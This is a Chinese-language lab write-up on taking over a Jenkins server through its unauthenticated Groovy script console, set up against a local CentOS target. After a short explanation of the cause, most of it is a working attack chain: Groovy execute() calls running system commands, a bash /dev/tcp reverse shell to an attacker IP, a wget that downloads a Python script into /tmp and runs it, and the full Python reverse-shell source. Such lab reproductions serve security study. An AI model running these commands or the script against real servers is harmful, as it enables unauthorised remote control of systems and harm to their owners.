0x01 什么是Jenkins?
Jenkins是一個開源的、提供友好操作界面的持續集成(CI)工具,起源於Hudson(Hudson是商用的),主要用於持續、自動的構建/測試軟件項目、監控外部任務的運行(這個比較抽象,暫且寫上,不做解釋)。Jenkins用Java語言編寫,可在Tomcat等流行的servlet容器中運行,也可獨立運行。通常與版本管理工具(SCM)、構建工具結合使用。常用的版本控制工具有SVN、GIT,構建工具有Maven、Ant、Gradle。
0x02 漏洞簡介及危害
默認情況下 Jenkins面板中用戶可以選擇執行腳本界面來操作一些系統層命令,攻擊者可通過未授權訪問漏洞或者暴力破解用戶密碼等進入后台管理服務,通過腳本執行界面從而獲取服務器權限。
Jenkins功能
Jenkins是一個基於Java開發的開源項目,可在Tomcat等流行的servlet容器中運行,也可以獨立運行,其功能如下:
- 用於持續性、自動的構建/測試軟件
- 項目監控或跑一些定時任務
- 監控外部調用執行的工作
漏洞原因
Jenkins系統后台中可以執行系統腳本命令
漏洞利用條件
- 使用低版本的Jenkins,默認沒有登錄控制
- 有登錄控制,但配置文件中設置了不啟用安全性(/var/lib/jenkins/config.xml 設置為false)
- 控制台使用了弱密碼
0x03 環境配置
靶機:Cent0S(192.168.122.133)
下載環境
鏡像站下載(優點:下載快;缺點:不支持所有版本):下載鏈接
官方下載(優點:版本全;缺點:下載慢):下載鏈接
安裝並啟動服務
rpm -ivh jenkins-2.210-1.1.noarch.rpm
service jenkins start
瀏覽器訪問8080端口進行進行安裝配置
解鎖Jenkins
安裝插件並創建管理員賬戶,最后瀏覽器訪問靶機ip:8080,如下圖所示說明環境搭建成功
0x04 漏洞復現
1.瀏覽器訪問http://192.168.122.133:8080/manage,可以看到沒有做登錄任何限制,可以直接未授權登錄到管理界面。說明可能是下面兩種情況之一
- 低版本的jenkisns默認安裝啟動服務
- 配置中將登錄密碼驗證關掉了
2.點擊“腳本命令行”
3.執行並打印系統命令
println "whoami".execute().text
println "ifconfig".execute().text
4.寫入一句話木馬
發現權限不夠,不能直接寫入webshell,這樣的話我們應該如何利用呢?我第一個想到的是通過腳本反彈shell
bash -i >& /dev/tcp/192.168.122.130/1234 0>&1
但是發現KALI監聽端並沒有反彈shell
換一個思路是不是可以先通過上傳python腳本,然后利用python腳本生成一個bash反彈shell
利用everything的http服務器功能上傳python腳本:wget http://192.200.90.70/D%3A/back.py -P /tmp/
執行Python腳本:println "python /tmp/back.py".execute().text
附Python腳本
#!/usr/bin/python
# This is a Python reverse shell script
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.122.130",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
成功上傳python腳本
nc監聽后成功反彈shell
漏洞利用成功....